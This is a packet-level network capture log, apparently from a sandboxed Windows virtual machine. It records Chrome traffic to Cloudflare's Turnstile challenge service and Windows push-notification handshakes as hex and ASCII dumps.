2024-09-29 13:46:11 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8cac6acac9d61809/1727617565890/ibITg5EigMB2HKW HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:11 UTC	170	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8cac6afb5a254333-EWR
2024-09-29 13:46:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 2f 08 02 00 00 00 30 dc 3e 10 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR</0>IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49755	104.18.95.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:12 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8cac6acac9d61809/1727617565890/ibITg5EigMB2HKW HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:12 UTC	200	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:12 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8cac6b062db54328-EWR alt-svc: h3=":443"; ma=86400
2024-09-29 13:46:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 2f 08 02 00 00 00 30 dc 3e 10 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR</0>IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49754	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:12 UTC	927	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31733 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8a5b730841ae70c sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:12 UTC	16384	OUT	Data Raw: 76 5f 38 63 61 63 36 61 63 61 63 39 64 36 31 38 30 39 3d 6c 57 37 73 55 41 6b 6d 61 64 61 4e 52 59 76 36 43 36 58 64 37 4e 53 6b 4c 50 36 6e 4e 36 62 36 42 48 36 6a 36 49 51 36 36 49 24 4e 38 36 63 73 42 37 44 44 41 79 62 37 36 6c 56 73 42 74 24 4e 75 36 64 48 6b 42 69 36 56 57 6b 32 36 42 69 39 42 36 50 6f 72 36 62 6b 72 6f 31 45 36 56 73 4e 6d 36 31 73 59 72 67 24 42 62 73 41 54 6b 62 73 50 54 33 36 6e 75 57 55 37 4b 62 73 37 41 75 36 4e 76 24 6b 55 37 25 32 62 50 41 57 61 36 4a 4b 6b 48 57 73 6b 4c 6c 36 36 53 41 55 64 58 31 76 59 6a 36 72 57 37 55 38 49 77 24 39 50 65 36 6b 62 6a 55 55 31 64 61 32 62 53 54 31 4e 4c 6d 59 4e 58 42 73 36 58 36 37 52 44 57 54 57 36 79 51 4b 44 24 53 64 71 6f 4f 35 50 6d 36 41 2d 71 67 6f 6a 59 66 75 6c 47 6f 35 53 54 43 Data Ascii: v_8cac6acac9d61809=lW7sUAkmadaNRYv6C6Xd7NSkLP6nN6b6BH6j6IQ66I$N86csB7DDAyb76lVsBt$Nu6dHkBi6VWk26Bi9B6Por6bkro1E6VsNm61sYrg$BbsATkbsPT36nuWU7Kbs7Au6Nv$kU7%2bPAWa6JKkHWskLl66SAUdX1vYj6rW7U8Iw$9Pe6kbjUU1da2bST1NLmYNXBs6X67RDWTW6yQKD$SdqoO5Pm6A-qgojYfulGo5STC
2024-09-29 13:46:12 UTC	15349	OUT	Data Raw: 50 66 73 39 6b 51 36 52 6d 66 31 6e 79 51 24 32 6a 36 5a 78 4e 78 68 44 50 57 4e 6f 38 6a 36 64 73 4e 61 36 4c 36 41 73 6b 41 36 4e 42 6c 76 62 32 6e 6b 55 62 72 6b 77 48 67 44 41 31 6b 48 36 49 36 58 48 6b 2d 44 46 36 37 37 41 4c 36 37 36 6b 37 41 4a 31 6e 36 4f 37 6b 64 36 68 73 41 36 4e 7a 36 4c 73 59 61 6b 31 36 52 36 72 31 4e 61 31 71 73 50 52 36 4c 36 76 36 4f 52 36 73 36 56 52 6b 73 41 4d 68 69 36 56 31 6b 74 36 59 31 50 39 36 42 73 56 75 4e 31 6b 48 73 52 6d 6c 32 41 77 36 53 57 6b 44 4e 59 36 53 48 41 45 4e 58 73 72 69 6b 44 36 38 41 50 36 52 6a 6b 4e 73 56 36 6e 36 41 77 36 5a 48 24 73 41 31 75 53 36 4f 6f 36 37 36 4e 36 50 61 41 71 79 2d 73 36 61 41 30 36 36 73 6e 7a 36 44 58 45 73 6e 76 36 44 36 65 48 6b 73 41 57 36 5a 44 73 73 41 37 6b 2d 57 Data Ascii: Pfs9kQ6Rmf1nyQ$2j6ZxNxhDPWNo8j6dsNa6L6AskA6NBlvb2nkUbrkwHgDA1kH6I6XHk-DF677AL676k7AJ1n6O7kd6hsA6Nz6LsYak16R6r1Na1qsPR6L6v6OR6s6VRksAMhi6V1kt6Y1P96BsVuN1kHsRml2Aw6SWkDNY6SHAENXsrikD68AP6RjkNsV6n6Aw6ZH$sA1uS6Oo676N6PaAqy-s6aA066snz6DXEsnv6D6eHksAW6ZDssA7k-W
2024-09-29 13:46:13 UTC	300	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26812 Connection: close cf-chl-gen: +OGIR1NvhEaxM/Mhc1q9kujG6IkAfmeRVI4IkMj2kBCGQZMB2SIzUcAafuu6c4wUQ7DAwpSwCe4T01qS$9axL2NLe0DLlsuF6 Server: cloudflare CF-RAY: 8cac6b06294e0f6c-EWR
2024-09-29 13:46:13 UTC	1069	IN	Data Raw: 6c 4d 53 35 6a 37 57 64 74 6f 66 4b 6f 4c 61 46 7a 34 32 37 76 63 48 47 73 74 4b 58 78 72 72 57 6d 38 72 63 70 37 50 4f 6d 61 2b 75 73 74 61 38 70 64 6d 6c 6f 38 6d 36 7a 2b 7a 59 35 62 36 2f 35 74 37 4a 74 73 2f 45 78 72 76 57 2f 74 4b 39 31 50 4d 42 37 66 49 43 31 76 33 78 2f 64 63 47 36 51 77 51 44 76 34 45 2f 4e 37 6e 42 75 34 44 46 67 34 62 46 78 73 4d 43 76 37 32 46 75 76 33 45 52 59 6c 4a 41 45 67 47 41 7a 6e 41 75 51 47 34 67 51 78 4c 51 30 73 48 2f 4c 79 2b 66 41 4c 39 52 55 7a 4f 68 51 4f 46 52 5a 43 4d 45 4d 48 41 78 34 34 46 30 30 4e 48 51 35 4f 49 55 38 38 44 6b 46 4f 55 6b 64 4b 57 56 4e 63 48 6a 63 72 55 53 42 4c 57 79 42 68 50 54 5a 45 57 43 49 38 4e 6b 5a 6c 51 7a 73 38 4f 30 41 39 4c 47 70 32 54 56 73 74 54 31 74 39 65 6e 52 4c 58 6e 6c Data Ascii: lMS5j7WdtofKoLaFz427vcHGstKXxrrWm8rcp7POma+usta8pdmlo8m6z+zY5b6/5t7Jts/ExrvW/tK91PMB7fIC1v3x/dcG6QwQDv4E/N7nBu4DFg4bFxsMCv72Fuv3ERYlJAEgGAznAuQG4gQxLQ0sH/Ly+fAL9RUzOhQOFRZCMEMHAx44F00NHQ5OIU88DkFOUkdKWVNcHjcrUSBLWyBhPTZEWCI8NkZlQzs8O0A9LGp2TVstT1t9enRLXnl
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 61 6d 34 74 2b 58 68 34 73 2f 66 35 2b 2f 46 38 2b 66 70 79 50 58 51 77 2b 36 30 76 4c 77 41 37 2f 66 73 41 76 37 75 42 2f 6a 30 36 51 48 59 34 75 6a 2b 42 66 6b 54 35 76 49 54 36 4f 59 50 45 4e 49 4b 45 68 51 4a 43 64 72 30 41 52 76 75 33 41 34 55 35 42 62 30 49 2b 4c 73 46 78 72 6d 38 4f 38 6b 49 67 4d 56 38 7a 55 76 47 7a 77 6e 39 78 76 36 4c 44 6e 7a 46 50 31 45 4d 77 51 61 4a 43 74 4c 42 44 5a 47 54 30 30 50 52 79 73 50 44 6b 4e 4e 56 52 6b 72 54 43 31 59 50 46 70 5a 48 69 77 77 57 55 31 48 4a 6c 78 68 53 46 56 6c 4b 57 5a 64 59 69 78 61 62 47 73 79 4b 46 67 76 51 56 64 6a 63 58 6c 6e 57 6a 67 7a 59 57 51 39 66 7a 78 64 66 55 46 31 67 58 39 33 58 34 64 69 53 70 42 2f 6a 58 2b 49 56 47 6d 4e 62 34 71 54 6e 4a 47 4b 61 31 69 61 56 5a 65 59 66 71 56 34 Data Ascii: am4t+Xh4s/f5+/F8+fpyPXQw+60vLwA7/fsAv7uB/j06QHY4uj+BfkT5vIT6OYPENIKEhQJCdr0ARvu3A4U5Bb0I+LsFxrm8O8kIgMV8zUvGzwn9xv6LDnzFP1EMwQaJCtLBDZGT00PRysPDkNNVRkrTC1YPFpZHiwwWU1HJlxhSFVlKWZdYixabGsyKFgvQVdjcXlnWjgzYWQ9fzxdfUF1gX93X4diSpB/jX+IVGmNb4qTnJGKa1iaVZeYfqV4
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 69 2f 33 4d 47 37 36 65 44 46 76 39 48 4b 73 2b 62 52 37 62 62 5a 39 77 4c 72 41 2f 33 67 32 75 4c 61 34 77 50 67 43 51 6e 4c 44 65 4d 43 7a 42 4c 79 30 4e 62 66 44 50 72 34 30 52 59 61 2b 42 4c 61 37 77 37 37 44 53 44 6a 2b 4f 67 72 4a 43 62 6f 34 78 67 64 36 43 6b 65 41 68 48 77 4e 77 4d 74 49 69 34 35 2b 6a 63 50 4f 76 63 37 45 77 49 59 47 51 4d 70 51 54 38 7a 43 67 30 4d 51 67 73 39 43 43 41 52 55 53 6c 55 46 55 55 6b 45 56 68 58 54 6a 64 50 58 46 68 51 4f 56 5a 52 52 44 35 52 52 30 4a 71 50 69 35 50 57 45 4e 42 53 6b 6b 2f 63 56 39 45 4d 58 46 4d 50 48 46 52 65 32 39 7a 56 6c 42 4d 67 6b 46 6a 68 57 4a 65 58 57 6c 4b 6a 6e 68 48 53 30 52 52 6b 5a 53 4d 67 6e 46 6e 6b 35 75 48 63 33 36 51 67 58 39 7a 6a 33 6c 32 58 61 68 2b 63 70 65 4a 70 70 74 6d 6f Data Ascii: i/3MG76eDFv9HKs+bR7bbZ9wLrA/3g2uLa4wPgCQnLDeMCzBLy0NbfDPr40RYa+BLa7w77DSDj+OgrJCbo4xgd6CkeAhHwNwMtIi45+jcPOvc7EwIYGQMpQT8zCg0MQgs9CCARUSlUFUUkEVhXTjdPXFhQOVZRRD5RR0JqPi5PWENBSkk/cV9EMXFMPHFRe29zVlBMgkFjhWJeXWlKjnhHS0RRkZSMgnFnk5uHc36QgX9zj3l2Xah+cpeJpptmo
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 68 77 4f 66 54 32 75 54 6d 79 39 54 78 39 74 4c 35 30 74 58 34 43 41 62 6b 33 63 44 4c 33 4d 7a 74 37 63 4c 39 43 4e 41 49 41 4f 58 78 38 77 37 4d 32 52 54 77 37 50 6e 63 48 76 6b 55 32 68 30 63 48 78 4c 6a 43 42 7a 6a 4a 53 73 74 41 2b 30 70 38 68 44 39 49 41 45 33 43 54 73 4a 46 67 7a 31 46 67 77 52 45 7a 49 67 42 55 49 6c 41 6a 59 56 50 44 31 45 4f 30 4a 47 44 69 31 50 4a 7a 42 52 46 69 63 30 4c 78 55 6c 53 44 6f 74 47 79 6f 36 5a 56 78 46 4e 56 77 69 57 42 31 4b 52 53 78 42 5a 45 4a 45 53 47 4e 74 4d 53 39 56 55 47 74 37 61 32 64 4d 4e 58 6c 74 61 6c 46 73 66 6b 42 6d 64 56 78 41 61 6b 75 4b 68 58 31 6a 57 6f 6c 2f 5a 6c 46 4e 5a 57 75 61 68 56 69 50 63 5a 71 50 6b 49 78 32 66 56 61 55 6e 49 42 34 70 47 4e 35 6e 6d 75 5a 62 4b 70 37 73 59 42 78 6f 6e Data Ascii: hwOfT2uTmy9Tx9tL50tX4CAbk3cDL3Mzt7cL9CNAIAOXx8w7M2RTw7PncHvkU2h0cHxLjCBzjJSstA+0p8hD9IAE3CTsJFgz1FgwREzIgBUIlAjYVPD1EO0JGDi1PJzBRFic0LxUlSDotGyo6ZVxFNVwiWB1KRSxBZEJESGNtMS9VUGt7a2dMNXltalFsfkBmdVxAakuKhX1jWol/ZlFNZWuahViPcZqPkIx2fVaUnIB4pGN5nmuZbKp7sYBxon
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 35 65 37 38 36 72 36 30 2f 74 6e 4e 38 51 4b 2f 2b 2b 72 44 43 41 6e 70 31 39 73 4f 79 4f 45 45 36 73 7a 6f 34 75 63 58 44 42 66 72 2f 4e 7a 61 33 4f 48 56 2b 2f 6e 32 35 69 6b 6b 35 2f 7a 65 44 66 67 70 47 78 4c 38 45 78 50 78 49 78 55 49 41 2f 6f 59 39 7a 4d 33 45 76 59 54 2b 51 41 31 47 7a 59 78 4a 45 6b 65 51 68 67 69 43 53 49 38 4d 6b 34 6d 4d 45 63 4a 54 54 64 58 57 7a 4a 4b 4d 42 70 64 4e 7a 34 7a 5a 53 51 35 57 47 46 69 59 6c 30 70 61 79 34 35 57 47 42 64 61 57 6c 66 4e 6b 64 4b 4d 6c 4a 57 57 6d 34 38 4e 31 52 68 50 6a 6b 2f 65 6d 35 2b 68 59 61 49 52 6d 42 45 66 4a 42 34 54 34 71 49 64 55 78 6f 63 4a 65 48 61 32 68 32 6e 6c 71 4e 64 6c 75 56 66 6f 39 58 6e 49 5a 6e 6e 6f 57 66 66 47 5a 37 71 6f 64 39 72 71 47 49 62 4b 69 57 63 4c 4b 33 68 59 71 Data Ascii: 5e786r60/tnN8QK/++rDCAnp19sOyOEE6szo4ucXDBfr/Nza3OHV+/n25ikk5/zeDfgpGxL8ExPxIxUIA/oY9zM3EvYT+QA1GzYxJEkeQhgiCSI8Mk4mMEcJTTdXWzJKMBpdNz4zZSQ5WGFiYl0pay45WGBdaWlfNkdKMlJWWm48N1RhPjk/em5+hYaIRmBEfJB4T4qIdUxocJeHa2h2nlqNdluVfo9XnIZnnoWffGZ7qod9rqGIbKiWcLK3hYq
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 67 47 2b 34 64 72 55 42 38 6a 30 39 41 66 66 2f 66 37 4d 32 76 77 4e 41 41 72 72 37 42 73 4b 30 2f 49 59 2f 65 30 52 2f 67 7a 36 37 53 45 67 33 52 4d 69 49 75 62 6c 36 2f 59 70 4a 52 73 6d 38 67 77 57 44 75 30 42 4b 41 58 79 4f 44 63 79 4e 50 35 43 4c 41 48 2b 41 42 6c 41 4e 41 4a 48 53 41 6f 4a 47 43 38 39 4c 6b 41 4e 4c 68 46 4c 4a 56 6b 56 53 69 6f 6e 57 46 6f 7a 58 57 4e 63 4d 6a 39 47 52 6a 74 5a 4e 6b 73 2b 62 53 56 72 4c 44 74 66 62 55 41 6e 63 46 68 4a 61 47 52 33 54 46 5a 73 65 46 4e 62 51 48 56 51 67 59 52 6e 52 31 4a 7a 68 46 70 6d 62 6f 42 63 6a 57 70 77 54 6b 65 55 64 31 53 55 67 33 70 55 58 57 31 2b 58 56 4f 58 6e 58 47 68 6a 34 56 67 61 5a 65 45 5a 46 2b 72 6b 48 79 68 6e 4a 4f 42 74 49 61 7a 64 6f 4b 72 70 33 61 34 6c 5a 31 39 63 37 65 39 Data Ascii: gG+4drUB8j09Aff/f7M2vwNAArr7BsK0/IY/e0R/gz67SEg3RMiIubl6/YpJRsm8gwWDu0BKAXyODcyNP5CLAH+ABlANAJHSAoJGC89LkANLhFLJVkVSionWFozXWNcMj9GRjtZNks+bSVrLDtfbUAncFhJaGR3TFZseFNbQHVQgYRnR1JzhFpmboBcjWpwTkeUd1SUg3pUXW1+XVOXnXGhj4VgaZeEZF+rkHyhnJOBtIazdoKrp3a4lZ19c7e9
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 58 44 7a 4f 6a 34 79 4e 44 77 37 73 7a 55 45 2b 2f 57 37 65 7a 36 30 39 7a 73 2f 4e 59 4d 44 77 44 63 2b 53 63 6c 33 69 51 72 43 4f 4d 43 44 51 33 6d 48 41 55 4e 36 75 6f 42 45 4f 38 30 44 52 76 79 4b 44 38 61 39 78 5a 44 48 77 4d 61 46 53 49 41 48 6a 63 30 42 69 49 2f 4b 77 63 48 48 54 45 4d 4b 6a 55 78 44 31 52 48 4e 52 52 49 58 31 30 58 49 56 4d 39 48 47 42 6e 55 52 38 70 5a 31 55 6b 57 6a 6c 4b 4b 54 46 46 55 69 78 4b 56 57 45 76 5a 48 74 6c 4f 31 4a 52 57 6a 68 38 56 56 38 38 63 49 64 68 51 46 35 7a 69 55 4f 49 64 32 70 4a 5a 70 4e 39 54 6d 70 74 63 30 2b 47 5a 58 52 54 6d 49 2b 4a 56 35 78 31 66 56 78 6c 70 34 4e 6e 66 6e 6d 56 59 35 69 62 69 47 6c 78 6a 5a 4e 73 69 6f 32 31 63 59 36 56 6c 58 4f 34 6b 5a 6c 35 6c 71 47 67 66 5a 79 52 6f 59 44 45 75 Data Ascii: XDzOj4yNDw7szUE+/W7ez609zs/NYMDwDc+Scl3iQrCOMCDQ3mHAUN6uoBEO80DRvyKD8a9xZDHwMaFSIAHjc0BiI/KwcHHTEMKjUxD1RHNRRIX10XIVM9HGBnUR8pZ1UkWjlKKTFFUixKVWEvZHtlO1JRWjh8VV88cIdhQF5ziUOId2pJZpN9Tmptc0+GZXRTmI+JV5x1fVxlp4NnfnmVY5ibiGlxjZNsio21cY6VlXO4kZl5lqGgfZyRoYDEu
2024-09-29 13:46:13 UTC	1369	IN	Data Raw: 4c 7a 74 48 63 37 41 37 50 46 41 73 48 31 52 67 62 44 64 72 31 45 78 7a 67 45 50 77 47 33 65 6a 6f 39 65 51 48 44 69 72 37 4c 54 41 43 37 66 51 52 47 41 48 71 41 69 50 35 4c 67 59 30 45 7a 45 65 49 78 63 61 4f 42 59 46 4e 41 41 6d 42 45 6c 49 4d 42 31 42 4a 69 30 51 48 54 56 45 49 45 5a 50 4e 78 49 54 4a 6a 4d 61 58 7a 45 66 47 78 73 63 5a 54 49 70 4b 54 51 65 57 45 45 6c 4c 7a 6c 72 59 44 78 69 61 31 41 75 4c 30 4a 4d 4e 6e 74 4e 4f 7a 6c 59 4f 49 46 51 57 6b 56 51 4f 6e 52 33 51 55 74 56 52 48 78 59 66 6f 64 78 53 6b 74 65 62 56 4b 58 61 56 64 55 69 6c 53 41 63 5a 46 5a 66 57 4a 74 6a 35 52 67 66 70 2b 4a 5a 59 4a 70 66 57 6d 4a 6d 36 70 78 6f 62 43 59 68 61 6d 4f 6c 58 69 46 65 4b 79 4a 76 4c 53 38 6c 63 48 48 6f 6f 44 45 68 5a 6d 4a 7a 4b 37 41 6e 4d Data Ascii: LztHc7A7PFAsH1RgbDdr1ExzgEPwG3ejo9eQHDir7LTAC7fQRGAHqAiP5LgY0EzEeIxcaOBYFNAAmBElIMB1BJi0QHTVEIEZPNxITJjMaXzEfGxscZTIpKTQeWEElLzlrYDxia1AuL0JMNntNOzlYOIFQWkVQOnR3QUtVRHxYfodxSktebVKXaVdUilSAcZFZfWJtj5Rgfp+JZYJpfWmJm6pxobCYhamOlXiFeKyJvLS8lcHHooDEhZmJzK7AnM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49756	104.18.95.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:13 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:13 UTC	349	IN	HTTP/1.1 404 Not Found Date: Sun, 29 Sep 2024 13:46:13 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: zGDCd1d6Q+F08bjcGOo+COMxsnoSbMGXRfs=$QEYjqbbxobGr1/kG Server: cloudflare CF-RAY: 8cac6b0b8c841841-EWR
2024-09-29 13:46:13 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49757	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6f 52 2b 64 7a 42 51 48 31 6b 32 48 49 33 71 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 63 61 63 33 38 66 35 31 30 61 31 36 34 39 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: oR+dzBQH1k2HI3qd.1Context: bcac38f510a16496
2024-09-29 13:46:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-29 13:46:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6f 52 2b 64 7a 42 51 48 31 6b 32 48 49 33 71 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 63 61 63 33 38 66 35 31 30 61 31 36 34 39 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 41 53 65 66 6f 69 66 59 57 62 71 56 6d 78 74 71 59 63 32 42 54 5a 33 64 52 46 64 5a 74 2b 74 4e 63 74 66 55 4d 54 37 4b 75 49 76 2b 43 50 72 51 63 70 56 64 41 32 7a 6f 4f 51 4a 36 2b 67 49 76 58 30 47 47 43 52 61 5a 75 66 57 55 2f 77 49 33 51 2b 54 55 35 4f 68 33 39 68 39 61 70 4d 42 42 77 39 77 74 56 78 32 79 53 31 73 4a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: oR+dzBQH1k2HI3qd.2Context: bcac38f510a16496<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdASefoifYWbqVmxtqYc2BTZ3dRFdZt+tNctfUMT7KuIv+CPrQcpVdA2zoOQJ6+gIvX0GGCRaZufWU/wI3Q+TU5Oh39h9apMBBw9wtVx2yS1sJ
2024-09-29 13:46:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6f 52 2b 64 7a 42 51 48 31 6b 32 48 49 33 71 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 63 61 63 33 38 66 35 31 30 61 31 36 34 39 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: oR+dzBQH1k2HI3qd.3Context: bcac38f510a16496<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-29 13:46:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-29 13:46:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 32 57 75 44 7a 45 67 38 30 32 56 49 49 4c 4a 72 2f 39 4e 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: G2WuDzEg802VIILJr/9NaQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49761	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:48 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 5a 6b 64 7a 6c 32 47 51 30 6d 45 39 70 6f 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 31 62 61 31 33 30 36 30 63 33 61 37 62 65 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: sZkdzl2GQ0mE9poM.1Context: a1ba13060c3a7be2
